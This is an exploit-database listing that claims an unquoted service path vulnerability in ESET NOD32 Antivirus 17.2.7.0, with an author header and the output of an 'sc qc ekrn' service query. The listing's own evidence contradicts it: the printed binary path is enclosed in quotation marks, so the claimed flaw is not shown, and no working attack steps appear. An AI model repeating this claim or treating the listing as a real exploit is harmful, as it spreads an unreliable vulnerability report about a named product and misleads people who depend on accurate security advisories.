Exploit for ESET NOD32 Antivirus 17.2.7.0 Unquoted Service Path

Name: Exploit for ESET NOD32 Antivirus 17.2.7.0 Unquoted Service Path
Rating: 5 (111 reviews)

2024-07-11 | CVSS 7.4

## https://sploitus.com/exploit?id=PACKETSTORM:179495
# Exploit Title: ESET NOD32 Antivirus 17.2.7.0 - Unquoted Service Path  
# Exploit Author: Milad Karimi (Ex3ptionaL)  
# Exploit Date: 2024-07-09  
# Contact: miladgrayhat@gmail.com  
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL  
# Vendor : https://www.eset.com  
# Version : 17.2.7.0  
# Tested on OS: Microsoft Windows 10 pro x64  
  
  
C:\Users\Ci3c0>sc qc ekrn  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: ekrn  
TYPE : 20 WIN32_SHARE_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : "C:\Program Files\ESET\ESET Security\ekrn.exe"  
LOAD_ORDER_GROUP : Base  
TAG : 0  
DISPLAY_NAME : ESET Service  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem